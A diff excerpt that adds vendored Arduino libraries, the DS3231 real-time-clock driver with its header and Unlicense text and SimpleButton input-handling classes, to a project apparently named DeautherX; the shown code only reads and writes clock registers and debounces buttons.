temp_buffer = decToBcd(A1Hour);
|
||||
}
|
||||
temp_buffer = temp_buffer | ((AlarmBits & 0b00000100)<<5);
|
||||
// A1 hour is figured out, send it
|
||||
Wire.write(temp_buffer);
|
||||
// Figure out A1 day/date and A1M4
|
||||
temp_buffer = ((AlarmBits & 0b00001000)<<4) | decToBcd(A1Day);
|
||||
if (A1Dy) {
|
||||
// Set A1 Day/Date flag (Otherwise it's zero)
|
||||
temp_buffer = temp_buffer | 0b01000000;
|
||||
}
|
||||
Wire.write(temp_buffer);
|
||||
// All done!
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setA2Time(byte A2Day, byte A2Hour, byte A2Minute, byte AlarmBits, bool A2Dy, bool A2h12, bool A2PM) {
|
||||
// Sets the alarm-2 date and time on the DS3231, using A2* information
|
||||
byte temp_buffer;
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x0b); // A1 starts at 0bh
|
||||
// Send A2 Minute and A2M2
|
||||
Wire.write(decToBcd(A2Minute) | ((AlarmBits & 0b00010000) << 3));
|
||||
// Figure out A2 hour
|
||||
if (A2h12) {
|
||||
// Start by converting existing time to h12 if it was given in 24h.
|
||||
if (A2Hour > 12) {
|
||||
// well, then, this obviously isn't a h12 time, is it?
|
||||
A2Hour = A2Hour - 12;
|
||||
A2PM = true;
|
||||
}
|
||||
if (A2PM) {
|
||||
// Afternoon
|
||||
// Convert the hour to BCD and add appropriate flags.
|
||||
temp_buffer = decToBcd(A2Hour) | 0b01100000;
|
||||
} else {
|
||||
// Morning
|
||||
// Convert the hour to BCD and add appropriate flags.
|
||||
temp_buffer = decToBcd(A2Hour) | 0b01000000;
|
||||
}
|
||||
} else {
|
||||
// Now for 24h
|
||||
temp_buffer = decToBcd(A2Hour);
|
||||
}
|
||||
// add in A2M3 bit
|
||||
temp_buffer = temp_buffer | ((AlarmBits & 0b00100000)<<2);
|
||||
// A2 hour is figured out, send it
|
||||
Wire.write(temp_buffer);
|
||||
// Figure out A2 day/date and A2M4
|
||||
temp_buffer = ((AlarmBits & 0b01000000)<<1) | decToBcd(A2Day);
|
||||
if (A2Dy) {
|
||||
// Set A2 Day/Date flag (Otherwise it's zero)
|
||||
temp_buffer = temp_buffer | 0b01000000;
|
||||
}
|
||||
Wire.write(temp_buffer);
|
||||
// All done!
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::turnOnAlarm(byte Alarm) {
|
||||
// turns on alarm number "Alarm". Defaults to 2 if Alarm is not 1.
|
||||
byte temp_buffer = readControlByte(0);
|
||||
|
||||
// modify control byte
|
||||
if (Alarm == 1) {
|
||||
temp_buffer = temp_buffer | 0b00000101;
|
||||
} else {
|
||||
temp_buffer = temp_buffer | 0b00000110;
|
||||
}
|
||||
writeControlByte(temp_buffer, 0);
|
||||
}
|
||||
|
||||
void DS3231::turnOffAlarm(byte Alarm) {
|
||||
// turns off alarm number "Alarm". Defaults to 2 if Alarm is not 1.
|
||||
// Leaves interrupt pin alone.
|
||||
byte temp_buffer = readControlByte(0);
|
||||
|
||||
// modify control byte
|
||||
if (Alarm == 1) {
|
||||
temp_buffer = temp_buffer & 0b11111110;
|
||||
} else {
|
||||
temp_buffer = temp_buffer & 0b11111101;
|
||||
}
|
||||
writeControlByte(temp_buffer, 0);
|
||||
}
|
||||
|
||||
bool DS3231::checkAlarmEnabled(byte Alarm) {
|
||||
// Checks whether the given alarm is enabled.
|
||||
byte result = 0x0;
|
||||
byte temp_buffer = readControlByte(0);
|
||||
|
||||
if (Alarm == 1) {
|
||||
result = temp_buffer & 0b00000001;
|
||||
} else {
|
||||
result = temp_buffer & 0b00000010;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
bool DS3231::checkIfAlarm(byte Alarm) {
|
||||
// Checks whether alarm 1 or alarm 2 flag is on, returns T/F accordingly.
|
||||
// Turns flag off, also.
|
||||
// defaults to checking alarm 2, unless Alarm == 1.
|
||||
byte result;
|
||||
byte temp_buffer = readControlByte(1);
|
||||
|
||||
if (Alarm == 1) {
|
||||
// Did alarm 1 go off?
|
||||
result = temp_buffer & 0b00000001;
|
||||
// clear flag
|
||||
temp_buffer = temp_buffer & 0b11111110;
|
||||
} else {
|
||||
// Did alarm 2 go off?
|
||||
result = temp_buffer & 0b00000010;
|
||||
// clear flag
|
||||
temp_buffer = temp_buffer & 0b11111101;
|
||||
}
|
||||
writeControlByte(temp_buffer, 1);
|
||||
return result;
|
||||
}
|
||||
|
||||
void DS3231::enableOscillator(bool TF, bool battery, byte frequency) {
|
||||
// turns oscillator on or off. True is on, false is off.
|
||||
// if battery is true, turns on even for battery-only operation,
|
||||
// otherwise turns off if Vcc is off.
|
||||
// frequency must be 0, 1, 2, or 3.
|
||||
// 0 = 1 Hz
|
||||
// 1 = 1.024 kHz
|
||||
// 2 = 4.096 kHz
|
||||
// 3 = 8.192 kHz (Default if frequency byte is out of range)
|
||||
if (frequency > 3) frequency = 3;
|
||||
// read control byte in, but zero out current state of RS2 and RS1.
|
||||
byte temp_buffer = readControlByte(0) & 0b11100111;
|
||||
|
||||
if (battery) {
|
||||
// turn on BBSQW flag
|
||||
temp_buffer = temp_buffer | 0b01000000;
|
||||
} else {
|
||||
// turn off BBSQW flag
|
||||
temp_buffer = temp_buffer & 0b10111111;
|
||||
}
|
||||
if (TF) {
|
||||
// set ~EOSC to 0 and INTCN to zero.
|
||||
temp_buffer = temp_buffer & 0b01111011;
|
||||
} else {
|
||||
// set ~EOSC to 1, leave INTCN as is.
|
||||
temp_buffer = temp_buffer | 0b10000000;
|
||||
}
|
||||
// shift frequency into bits 3 and 4 and set.
|
||||
frequency = frequency << 3;
|
||||
temp_buffer = temp_buffer | frequency;
|
||||
// And write the control bits
|
||||
writeControlByte(temp_buffer, 0);
|
||||
}
|
||||
|
||||
void DS3231::enable32kHz(bool TF) {
|
||||
// turn 32kHz pin on or off
|
||||
byte temp_buffer = readControlByte(1);
|
||||
|
||||
if (TF) {
|
||||
// turn on 32kHz pin
|
||||
temp_buffer = temp_buffer | 0b00001000;
|
||||
} else {
|
||||
// turn off 32kHz pin
|
||||
temp_buffer = temp_buffer & 0b11110111;
|
||||
}
|
||||
writeControlByte(temp_buffer, 1);
|
||||
}
|
||||
|
||||
bool DS3231::oscillatorCheck() {
|
||||
// Returns false if the oscillator has been off for some reason.
|
||||
// If this is the case, the time is probably not correct.
|
||||
byte temp_buffer = readControlByte(1);
|
||||
bool result = true;
|
||||
|
||||
if (temp_buffer & 0b10000000) {
|
||||
// Oscillator Stop Flag (OSF) is set, so return false.
|
||||
result = false;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/*****************************************
|
||||
Private Functions
|
||||
*****************************************/
|
||||
byte DS3231::decToBcd(byte val) {
|
||||
// Convert normal decimal numbers to binary coded decimal
|
||||
return (val/10*16) + (val%10);
|
||||
}
|
||||
|
||||
byte DS3231::bcdToDec(byte val) {
|
||||
// Convert binary coded decimal to normal decimal numbers
|
||||
return (val/16*10) + (val%16);
|
||||
}
|
||||
|
||||
byte DS3231::readControlByte(bool which) {
|
||||
// Read selected control byte
|
||||
// first byte (0) is 0x0e, second (1) is 0x0f
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
if (which) {
|
||||
// second control byte
|
||||
Wire.write(0x0f);
|
||||
} else {
|
||||
// first control byte
|
||||
Wire.write(0x0e);
|
||||
}
|
||||
Wire.endTransmission();
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
return Wire.read();
|
||||
}
|
||||
|
||||
void DS3231::writeControlByte(byte control, bool which) {
|
||||
// Write the selected control byte.
|
||||
// which=false -> 0x0e, true->0x0f.
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
if (which) {
|
||||
Wire.write(0x0f);
|
||||
} else {
|
||||
Wire.write(0x0e);
|
||||
}
|
||||
Wire.write(control);
|
||||
Wire.endTransmission();
|
||||
}
|
||||
183
DeautherX/src/DS3231-1.0.3/DS3231.h
Normal file
183
DeautherX/src/DS3231-1.0.3/DS3231.h
Normal file
@@ -0,0 +1,183 @@
|
||||
/*
|
||||
* DS3231.h
|
||||
*
|
||||
* Arduino Library for the DS3231 Real-Time Clock chip
|
||||
*
|
||||
* (c) Eric Ayars
|
||||
* 4/1/11
|
||||
* released into the public domain. If you use this, please let me know
|
||||
* (just out of pure curiosity!) by sending me an email:
|
||||
* eric@ayars.org
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified by Andy Wickert 5/15/11: Spliced in stuff from RTClib
|
||||
// Modified by Simon Gassner 11/28/2017: Changed Term "PM" to "PM_time" for compability with SAMD Processors
|
||||
#ifndef DS3231_h
|
||||
#define DS3231_h
|
||||
|
||||
// Changed the following to work on 1.0
|
||||
//#include "WProgram.h"
|
||||
#include <Arduino.h>
|
||||
|
||||
#include <Wire.h>
|
||||
|
||||
// DateTime (get everything at once) from JeeLabs / Adafruit
|
||||
// Simple general-purpose date/time class (no TZ / DST / leap second handling!)
|
||||
class DateTime {
|
||||
public:
|
||||
DateTime (uint32_t t =0);
|
||||
DateTime (uint16_t year, uint8_t month, uint8_t day,
|
||||
uint8_t hour =0, uint8_t min =0, uint8_t sec =0);
|
||||
DateTime (const char* date, const char* time);
|
||||
uint16_t year() const { return 2000 + yOff; }
|
||||
uint8_t month() const { return m; }
|
||||
uint8_t day() const { return d; }
|
||||
uint8_t hour() const { return hh; }
|
||||
uint8_t minute() const { return mm; }
|
||||
uint8_t second() const { return ss; }
|
||||
uint8_t dayOfTheWeek() const;
|
||||
|
||||
// 32-bit times as seconds since 1/1/2000
|
||||
long secondstime() const;
|
||||
// 32-bit times as seconds since 1/1/1970
|
||||
// THE ABOVE COMMENT IS CORRECT FOR LOCAL TIME; TO USE THIS COMMAND TO
|
||||
// OBTAIN TRUE UNIX TIME SINCE EPOCH, YOU MUST CALL THIS COMMAND AFTER
|
||||
// SETTING YOUR CLOCK TO UTC
|
||||
uint32_t unixtime(void) const;
|
||||
|
||||
protected:
|
||||
uint8_t yOff, m, d, hh, mm, ss;
|
||||
};
|
||||
|
||||
class RTClib {
|
||||
public:
|
||||
// Get date and time snapshot
|
||||
static DateTime now();
|
||||
};
|
||||
|
||||
// Eric's original code is everything below this line
|
||||
class DS3231 {
|
||||
public:
|
||||
|
||||
//Constructor
|
||||
DS3231();
|
||||
|
||||
// Time-retrieval functions
|
||||
|
||||
// the get*() functions retrieve current values of the registers.
|
||||
byte getSecond();
|
||||
byte getMinute();
|
||||
byte getHour(bool& h12, bool& PM_time);
|
||||
// In addition to returning the hour register, this function
|
||||
// returns the values of the 12/24-hour flag and the AM/PM flag.
|
||||
byte getDoW();
|
||||
byte getDate();
|
||||
byte getMonth(bool& Century);
|
||||
// Also sets the flag indicating century roll-over.
|
||||
byte getYear();
|
||||
// Last 2 digits only
|
||||
|
||||
// Time-setting functions
|
||||
// Note that none of these check for sensibility: You can set the
|
||||
// date to July 42nd and strange things will probably result.
|
||||
|
||||
void setSecond(byte Second);
|
||||
// In addition to setting the seconds, this clears the
|
||||
// "Oscillator Stop Flag".
|
||||
void setMinute(byte Minute);
|
||||
// Sets the minute
|
||||
void setHour(byte Hour);
|
||||
// Sets the hour
|
||||
void setDoW(byte DoW);
|
||||
// Sets the Day of the Week (1-7);
|
||||
void setDate(byte Date);
|
||||
// Sets the Date of the Month
|
||||
void setMonth(byte Month);
|
||||
// Sets the Month of the year
|
||||
void setYear(byte Year);
|
||||
// Last two digits of the year
|
||||
void setClockMode(bool h12);
|
||||
// Set 12/24h mode. True is 12-h, false is 24-hour.
|
||||
|
||||
// Temperature function
|
||||
|
||||
float getTemperature();
|
||||
|
||||
// Alarm functions
|
||||
|
||||
void getA1Time(byte& A1Day, byte& A1Hour, byte& A1Minute, byte& A1Second, byte& AlarmBits, bool& A1Dy, bool& A1h12, bool& A1PM);
|
||||
/* Retrieves everything you could want to know about alarm
|
||||
* one.
|
||||
* A1Dy true makes the alarm go on A1Day = Day of Week,
|
||||
* A1Dy false makes the alarm go on A1Day = Date of month.
|
||||
*
|
||||
* byte AlarmBits sets the behavior of the alarms:
|
||||
* Dy A1M4 A1M3 A1M2 A1M1 Rate
|
||||
* X 1 1 1 1 Once per second
|
||||
* X 1 1 1 0 Alarm when seconds match
|
||||
* X 1 1 0 0 Alarm when min, sec match
|
||||
* X 1 0 0 0 Alarm when hour, min, sec match
|
||||
* 0 0 0 0 0 Alarm when date, h, m, s match
|
||||
* 1 0 0 0 0 Alarm when DoW, h, m, s match
|
||||
*
|
||||
* Dy A2M4 A2M3 A2M2 Rate
|
||||
* X 1 1 1 Once per minute (at seconds = 00)
|
||||
* X 1 1 0 Alarm when minutes match
|
||||
* X 1 0 0 Alarm when hours and minutes match
|
||||
* 0 0 0 0 Alarm when date, hour, min match
|
||||
* 1 0 0 0 Alarm when DoW, hour, min match
|
||||
*/
|
||||
void getA2Time(byte& A2Day, byte& A2Hour, byte& A2Minute, byte& AlarmBits, bool& A2Dy, bool& A2h12, bool& A2PM);
|
||||
// Same as getA1Time();, but A2 only goes on seconds == 00.
|
||||
void setA1Time(byte A1Day, byte A1Hour, byte A1Minute, byte A1Second, byte AlarmBits, bool A1Dy, bool A1h12, bool A1PM);
|
||||
// Set the details for Alarm 1
|
||||
void setA2Time(byte A2Day, byte A2Hour, byte A2Minute, byte AlarmBits, bool A2Dy, bool A2h12, bool A2PM);
|
||||
// Set the details for Alarm 2
|
||||
void turnOnAlarm(byte Alarm);
|
||||
// Enables alarm 1 or 2 and the external interrupt pin.
|
||||
// If Alarm != 1, it assumes Alarm == 2.
|
||||
void turnOffAlarm(byte Alarm);
|
||||
// Disables alarm 1 or 2 (default is 2 if Alarm != 1);
|
||||
// and leaves the interrupt pin alone.
|
||||
bool checkAlarmEnabled(byte Alarm);
|
||||
// Returns T/F to indicate whether the requested alarm is
|
||||
// enabled. Defaults to 2 if Alarm != 1.
|
||||
bool checkIfAlarm(byte Alarm);
|
||||
// Checks whether the indicated alarm (1 or 2, 2 default);
|
||||
// has been activated.
|
||||
|
||||
// Oscillator functions
|
||||
|
||||
void enableOscillator(bool TF, bool battery, byte frequency);
|
||||
// turns oscillator on or off. True is on, false is off.
|
||||
// if battery is true, turns on even for battery-only operation,
|
||||
// otherwise turns off if Vcc is off.
|
||||
// frequency must be 0, 1, 2, or 3.
|
||||
// 0 = 1 Hz
|
||||
// 1 = 1.024 kHz
|
||||
// 2 = 4.096 kHz
|
||||
// 3 = 8.192 kHz (Default if frequency byte is out of range);
|
||||
void enable32kHz(bool TF);
|
||||
// Turns the 32kHz output pin on (true); or off (false).
|
||||
bool oscillatorCheck();;
|
||||
// Checks the status of the OSF (Oscillator Stop Flag);.
|
||||
// If this returns false, then the clock is probably not
|
||||
// giving you the correct time.
|
||||
// The OSF is cleared by function setSecond();.
|
||||
|
||||
private:
|
||||
|
||||
byte decToBcd(byte val);
|
||||
// Convert normal decimal numbers to binary coded decimal
|
||||
byte bcdToDec(byte val);
|
||||
// Convert binary coded decimal to normal decimal numbers
|
||||
byte readControlByte(bool which);
|
||||
// Read selected control byte: (0); reads 0x0e, (1) reads 0x0f
|
||||
void writeControlByte(byte control, bool which);
|
||||
// Write the selected control byte.
|
||||
// which == false -> 0x0e, true->0x0f.
|
||||
|
||||
};
|
||||
|
||||
#endif
|
||||
24
DeautherX/src/DS3231-1.0.3/LICENSE
Normal file
24
DeautherX/src/DS3231-1.0.3/LICENSE
Normal file
@@ -0,0 +1,24 @@
|
||||
This is free and unencumbered software released into the public domain.
|
||||
|
||||
Anyone is free to copy, modify, publish, use, compile, sell, or
|
||||
distribute this software, either in source code form or as a compiled
|
||||
binary, for any purpose, commercial or non-commercial, and by any
|
||||
means.
|
||||
|
||||
In jurisdictions that recognize copyright laws, the author or authors
|
||||
of this software dedicate any and all copyright interest in the
|
||||
software to the public domain. We make this dedication for the benefit
|
||||
of the public at large and to the detriment of our heirs and
|
||||
successors. We intend this dedication to be an overt act of
|
||||
relinquishment in perpetuity of all present and future rights to this
|
||||
software under copyright law.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
|
||||
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
|
||||
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
||||
OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
For more information, please refer to <http://unlicense.org/>
|
||||
139
DeautherX/src/SimpleButton/Buttons/AnalogStick.cpp
Normal file
139
DeautherX/src/SimpleButton/Buttons/AnalogStick.cpp
Normal file
@@ -0,0 +1,139 @@
|
||||
#include "AnalogStick.h"
|
||||
|
||||
namespace simplebutton {
|
||||
AnalogStick::AnalogStick() {
|
||||
setup(255, 255, 255);
|
||||
}
|
||||
|
||||
AnalogStick::AnalogStick(uint8_t xPin, uint8_t yPin, uint8_t buttonPin) {
|
||||
setup(xPin, yPin, buttonPin);
|
||||
}
|
||||
|
||||
AnalogStick::~AnalogStick() {
|
||||
if (this->up) delete this->up;
|
||||
if (this->down) delete this->down;
|
||||
if (this->left) delete this->left;
|
||||
if (this->right) delete this->right;
|
||||
}
|
||||
|
||||
void AnalogStick::setup(uint8_t xPin, uint8_t yPin, uint8_t buttonPin) {
|
||||
this->xPin = xPin;
|
||||
this->yPin = yPin;
|
||||
this->buttonPin = buttonPin;
|
||||
|
||||
if (xPin < 255) pinMode(xPin, INPUT);
|
||||
if (yPin < 255) pinMode(yPin, INPUT);
|
||||
if (buttonPin < 255) pinMode(buttonPin, INPUT);
|
||||
|
||||
this->button = new ButtonPullup(buttonPin);
|
||||
this->up = new ButtonAnalog(yPin);
|
||||
this->down = new ButtonAnalog(yPin);
|
||||
this->left = new ButtonAnalog(xPin);
|
||||
this->right = new ButtonAnalog(xPin);
|
||||
|
||||
setLogic(1024);
|
||||
}
|
||||
|
||||
void AnalogStick::update() {
|
||||
button->update();
|
||||
up->update();
|
||||
down->update();
|
||||
left->update();
|
||||
right->update();
|
||||
|
||||
this->xValue = left->getState();
|
||||
this->yValue = up->getState();
|
||||
}
|
||||
|
||||
void AnalogStick::update(uint8_t xValue, uint8_t yValue, bool buttonPress) {
|
||||
this->xValue = xValue;
|
||||
this->yValue = yValue;
|
||||
|
||||
button->update(buttonPress);
|
||||
up->update(yValue);
|
||||
down->update(yValue);
|
||||
left->update(xValue);
|
||||
right->update(xValue);
|
||||
}
|
||||
|
||||
uint8_t AnalogStick::getX() {
|
||||
return xValue;
|
||||
}
|
||||
|
||||
uint8_t AnalogStick::getY() {
|
||||
return yValue;
|
||||
}
|
||||
|
||||
void AnalogStick::setButtons(ButtonAnalog* up, ButtonAnalog* down, ButtonAnalog* left, ButtonAnalog* right,
|
||||
Button* button) {
|
||||
if (this->up) delete this->up;
|
||||
if (this->down) delete this->down;
|
||||
if (this->left) delete this->left;
|
||||
if (this->right) delete this->right;
|
||||
|
||||
this->up = up ? up : new ButtonAnalog();
|
||||
this->down = down ? down : new ButtonAnalog();
|
||||
this->left = left ? left : new ButtonAnalog();
|
||||
this->right = right ? right : new ButtonAnalog();
|
||||
|
||||
this->button = button ? button : new Button();
|
||||
|
||||
setLogic(this->logic, this->tolerance);
|
||||
}
|
||||
|
||||
void AnalogStick::setLogic(uint16_t logic) {
|
||||
setLogic(logic, tolerance);
|
||||
}
|
||||
|
||||
void AnalogStick::setLogic(uint16_t logic, uint8_t tolerance) {
|
||||
this->logic = logic;
|
||||
this->tolerance = tolerance;
|
||||
|
||||
uint16_t difference = (double)logic * ((double)tolerance / double(100));
|
||||
|
||||
up->setBounds(0, difference);
|
||||
down->setBounds(logic - difference, logic);
|
||||
left->setBounds(0, difference);
|
||||
right->setBounds(logic - difference, logic);
|
||||
}
|
||||
|
||||
void AnalogStick::setUpdateInterval(uint32_t updateInterval) {
|
||||
button->setUpdateInterval(updateInterval);
|
||||
up->setUpdateInterval(updateInterval);
|
||||
down->setUpdateInterval(updateInterval);
|
||||
left->setUpdateInterval(updateInterval);
|
||||
right->setUpdateInterval(updateInterval);
|
||||
}
|
||||
|
||||
void AnalogStick::setDefaultMinPushTime(uint32_t defaultMinPushTime) {
|
||||
button->setDefaultMinPushTime(defaultMinPushTime);
|
||||
up->setDefaultMinPushTime(defaultMinPushTime);
|
||||
down->setDefaultMinPushTime(defaultMinPushTime);
|
||||
left->setDefaultMinPushTime(defaultMinPushTime);
|
||||
right->setDefaultMinPushTime(defaultMinPushTime);
|
||||
}
|
||||
|
||||
void AnalogStick::setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime) {
|
||||
button->setDefaultMinReleaseTime(defaultMinReleaseTime);
|
||||
up->setDefaultMinReleaseTime(defaultMinReleaseTime);
|
||||
down->setDefaultMinReleaseTime(defaultMinReleaseTime);
|
||||
left->setDefaultMinReleaseTime(defaultMinReleaseTime);
|
||||
right->setDefaultMinReleaseTime(defaultMinReleaseTime);
|
||||
}
|
||||
|
||||
void AnalogStick::setDefaultTimeSpan(uint32_t defaultTimeSpan) {
|
||||
button->setDefaultTimeSpan(defaultTimeSpan);
|
||||
up->setDefaultTimeSpan(defaultTimeSpan);
|
||||
down->setDefaultTimeSpan(defaultTimeSpan);
|
||||
left->setDefaultTimeSpan(defaultTimeSpan);
|
||||
right->setDefaultTimeSpan(defaultTimeSpan);
|
||||
}
|
||||
|
||||
void AnalogStick::setDefaultHoldTime(uint32_t defaultHoldInterval) {
|
||||
button->setDefaultHoldTime(defaultHoldInterval);
|
||||
up->setDefaultHoldTime(defaultHoldInterval);
|
||||
down->setDefaultHoldTime(defaultHoldInterval);
|
||||
left->setDefaultHoldTime(defaultHoldInterval);
|
||||
right->setDefaultHoldTime(defaultHoldInterval);
|
||||
}
|
||||
}
|
||||
53
DeautherX/src/SimpleButton/Buttons/AnalogStick.h
Normal file
53
DeautherX/src/SimpleButton/Buttons/AnalogStick.h
Normal file
@@ -0,0 +1,53 @@
|
||||
#ifndef SimpleButton_AnalogStick_h
|
||||
#define SimpleButton_AnalogStick_h
|
||||
|
||||
#include "ButtonPullup.h"
|
||||
#include "ButtonAnalog.h"
|
||||
|
||||
namespace simplebutton {
|
||||
class AnalogStick {
|
||||
public:
|
||||
Button* button = NULL;
|
||||
ButtonAnalog* up = NULL;
|
||||
ButtonAnalog* down = NULL;
|
||||
ButtonAnalog* left = NULL;
|
||||
ButtonAnalog* right = NULL;
|
||||
|
||||
AnalogStick();
|
||||
AnalogStick(uint8_t xPin, uint8_t yPin, uint8_t buttonPin);
|
||||
|
||||
~AnalogStick();
|
||||
|
||||
void setup(uint8_t xPin, uint8_t yPin, uint8_t buttonPin);
|
||||
|
||||
void update();
|
||||
void update(uint8_t xValue, uint8_t yValue, bool buttonPress);
|
||||
|
||||
uint8_t getX();
|
||||
uint8_t getY();
|
||||
|
||||
void setButtons(ButtonAnalog* up, ButtonAnalog* down, ButtonAnalog* left, ButtonAnalog* right,
|
||||
Button* button);
|
||||
void setLogic(uint16_t logic);
|
||||
void setLogic(uint16_t logic, uint8_t tolerance);
|
||||
|
||||
void setUpdateInterval(uint32_t updateInterval);
|
||||
void setDefaultMinPushTime(uint32_t defaultMinPushTime);
|
||||
void setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime);
|
||||
void setDefaultTimeSpan(uint32_t defaultTimeSpan);
|
||||
void setDefaultHoldTime(uint32_t defaultHoldInterval);
|
||||
|
||||
private:
|
||||
uint16_t logic = 1024;
|
||||
uint8_t tolerance = 25; // percentage
|
||||
|
||||
uint8_t xValue = 0;
|
||||
uint8_t yValue = 0;
|
||||
|
||||
uint8_t xPin = 0;
|
||||
uint8_t yPin = 0;
|
||||
uint8_t buttonPin = 0;
|
||||
};
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleButton_AnalogStick_h
|
||||
319
DeautherX/src/SimpleButton/Buttons/Button.cpp
Normal file
319
DeautherX/src/SimpleButton/Buttons/Button.cpp
Normal file
@@ -0,0 +1,319 @@
|
||||
#include "../SimpleButton.h"
|
||||
|
||||
namespace simplebutton {
|
||||
Button::Button() {
|
||||
setup(255, false);
|
||||
}
|
||||
|
||||
Button::Button(uint8_t pin) {
|
||||
setup(pin, false);
|
||||
}
|
||||
|
||||
Button::Button(uint8_t pin, bool inverted) {
|
||||
setup(pin, inverted);
|
||||
}
|
||||
|
||||
Button::~Button() {}
|
||||
|
||||
void Button::setup(uint8_t pin, bool inverted) {
|
||||
this->button_pin = pin;
|
||||
this->button_inverted = inverted;
|
||||
enable();
|
||||
}
|
||||
|
||||
void Button::enable() {
|
||||
button_enabled = true;
|
||||
|
||||
if ((button_pin < 255) && !button_setup) {
|
||||
pinMode(button_pin, INPUT);
|
||||
button_setup = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Button::disable() {
|
||||
button_enabled = false;
|
||||
}
|
||||
|
||||
void Button::reset() {
|
||||
pushedFlag = false;
|
||||
releasedFlag = false;
|
||||
holdFlag = false;
|
||||
}
|
||||
|
||||
void Button::push() {
|
||||
if (!state) {
|
||||
state = true;
|
||||
|
||||
prevPushTime = pushTime;
|
||||
prevReleaseTime = releaseTime;
|
||||
pushedFlag = true;
|
||||
|
||||
pushTime = millis();
|
||||
holdTime = millis();
|
||||
holdFlag = false;
|
||||
}
|
||||
}
|
||||
|
||||
void Button::release() {
|
||||
if (state) {
|
||||
state = false;
|
||||
releasedFlag = true;
|
||||
releaseTime = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void Button::click() {
|
||||
click(defaultMinPushTime);
|
||||
}
|
||||
|
||||
void Button::click(uint32_t time) {
|
||||
push();
|
||||
pushTime = millis() - time - defaultMinReleaseTime;
|
||||
release();
|
||||
releaseTime = millis() - defaultMinReleaseTime;
|
||||
|
||||
updateEvents();
|
||||
}
|
||||
|
||||
int Button::read() {
|
||||
bool currentState = false;
|
||||
|
||||
if (button_enabled && button_setup) {
|
||||
currentState = digitalRead(button_pin);
|
||||
|
||||
if (button_inverted) currentState = !currentState;
|
||||
}
|
||||
|
||||
return (int)currentState;
|
||||
}
|
||||
|
||||
void Button::update() {
|
||||
if (millis() - updateTime >= updateInterval) {
|
||||
updateEvents();
|
||||
if (button_enabled && button_setup) update(read());
|
||||
}
|
||||
}
|
||||
|
||||
void Button::update(int state) {
|
||||
// update time
|
||||
updateTime = millis();
|
||||
|
||||
// check events
|
||||
updateEvents();
|
||||
|
||||
// update state
|
||||
if (state > 0) push();
|
||||
else release();
|
||||
}
|
||||
|
||||
void Button::updateEvents() {
|
||||
Event* e = this->events;
|
||||
|
||||
while (e != NULL) {
|
||||
switch (e->getMode()) {
|
||||
case e->MODE::PUSHED:
|
||||
if (this->pushed()) e->run();
|
||||
break;
|
||||
|
||||
case e->MODE::RELEASED:
|
||||
if (this->released()) e->run();
|
||||
break;
|
||||
|
||||
case e->MODE::CLICKED:
|
||||
if (this->clicked(e->getMinPushTime(), e->getMinReleaseTime())) e->run();
|
||||
break;
|
||||
|
||||
case e->MODE::DOUBLECLICKED:
|
||||
if (this->doubleClicked(e->getMinPushTime(), e->getMinReleaseTime(), e->getTimeSpan())) e->run();
|
||||
break;
|
||||
|
||||
case e->MODE::HOLDING:
|
||||
if (this->holding(e->getInterval())) e->run();
|
||||
break;
|
||||
}
|
||||
e = e->next;
|
||||
}
|
||||
}
|
||||
|
||||
bool Button::isInverted() {
|
||||
return button_inverted;
|
||||
}
|
||||
|
||||
bool Button::isEnabled() {
|
||||
return button_enabled;
|
||||
}
|
||||
|
||||
bool Button::isSetup() {
|
||||
return button_setup;
|
||||
}
|
||||
|
||||
bool Button::getState() {
|
||||
return state;
|
||||
}
|
||||
|
||||
int Button::getClicks() {
|
||||
return (int)clicks;
|
||||
}
|
||||
|
||||
int Button::getPushTime() {
|
||||
return (int)(millis() - pushTime);
|
||||
}
|
||||
|
||||
bool Button::pushed() {
|
||||
if (pushedFlag) {
|
||||
pushedFlag = false;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Button::released() {
|
||||
if (releasedFlag && (pushTime < releaseTime)) {
|
||||
releasedFlag = false;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Button::clicked() {
|
||||
return clicked(defaultMinPushTime);
|
||||
}
|
||||
|
||||
bool Button::clicked(uint32_t minPushTime) {
|
||||
return clicked(minPushTime, defaultMinReleaseTime);
|
||||
}
|
||||
|
||||
bool Button::clicked(uint32_t minPushTime, uint32_t minReleaseTime) {
|
||||
bool notHolding = !holdFlag;
|
||||
bool minTime = millis() - pushTime >= minPushTime;
|
||||
bool releaseTimeout = millis() - releaseTime >= minReleaseTime;
|
||||
|
||||
if (notHolding && minTime && releaseTimeout) {
|
||||
if (released()) {
|
||||
clicks++;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Button::doubleClicked() {
|
||||
return doubleClicked(defaultMinPushTime);
|
||||
}
|
||||
|
||||
bool Button::doubleClicked(uint32_t minPushTime) {
|
||||
return doubleClicked(minPushTime, defaultTimeSpan);
|
||||
}
|
||||
|
||||
bool Button::doubleClicked(uint32_t minPushTime, uint32_t timeSpan) {
|
||||
return doubleClicked(minPushTime, defaultMinReleaseTime, timeSpan);
|
||||
}
|
||||
|
||||
